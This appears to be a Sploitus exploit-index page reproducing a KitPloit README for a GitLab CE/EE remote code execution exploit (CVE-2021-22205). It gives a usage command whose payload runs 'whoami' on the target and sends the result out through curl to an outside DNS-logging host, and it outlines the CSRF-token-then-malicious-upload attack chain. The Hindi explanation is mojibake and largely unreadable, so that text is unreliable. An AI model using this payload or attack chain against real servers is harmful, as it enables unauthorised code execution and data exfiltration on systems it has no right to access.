Sploitus

Exploit for CVE-2021-22205

kitploit ┬╖ 2026-08-27

Exploit Code

MARKDOWN37 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-R0EXPER-CVE-2021-22205
# CVE-2021-22205

**рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг:**

  * Gitlab CE/EE < 13.10.3
  * Gitlab CE/EE < 13.9.6
  * Gitlab CE/EE < 13.8.8



**рдЙрдкрдпреЛрдЧ**

root@kitploit:~
    
    
    python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"
    

![Xnip2021-10-28_21-54-04](https://assets.kitploit.com/production/public/readmes/31051/599c454c422dcadd0e25a6a71f08aaee35cec832e0f90a4955702f2758214d58.png)

**csrf-рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:**

![Xnip2021-10-28_21-44-31](https://assets.kitploit.com/production/public/readmes/31051/50c71ae6b524c5a4d573b9a411b9fcf55a277bf33d62c930a038563a9c0d157c.png)

/users/sign_in рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ csrf-рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдлрд┐рд░ рдкрд┐рдЫрд▓реЗ CVE-2021-22205 poc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдирдзрд┐рдХреГрдд рдЕрдкрд▓реЛрдб рдЕрдиреБрд░реЛрдз рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрд▓реЛрдб рдкреИрдХреЗрдЬ рдмрдирд╛рдПрдВ, рдЕрдВрддрддрдГ rce рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

![](https://assets.kitploit.com/production/public/readmes/31051/adc036fe6a4a07851c4e84ef5b4e50b7ceb8095e2627e80e82c70e2c74dfdb02.jpg)

![Xnip2021-10-28_21-43-13](https://assets.kitploit.com/production/public/readmes/31051/d903d4248f065bf82ecf496dc4be761a1e34ef09de919347cf433728144c587e.png)

**рд╕рдВрджрд░реНрдн:**

  * https://hackerone.com/reports/1154542
  * https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
  * https://forum.ywhack.com/viewthread.php?tid=115611
  * https://forum.ywhack.com/viewthread.php?tid=116706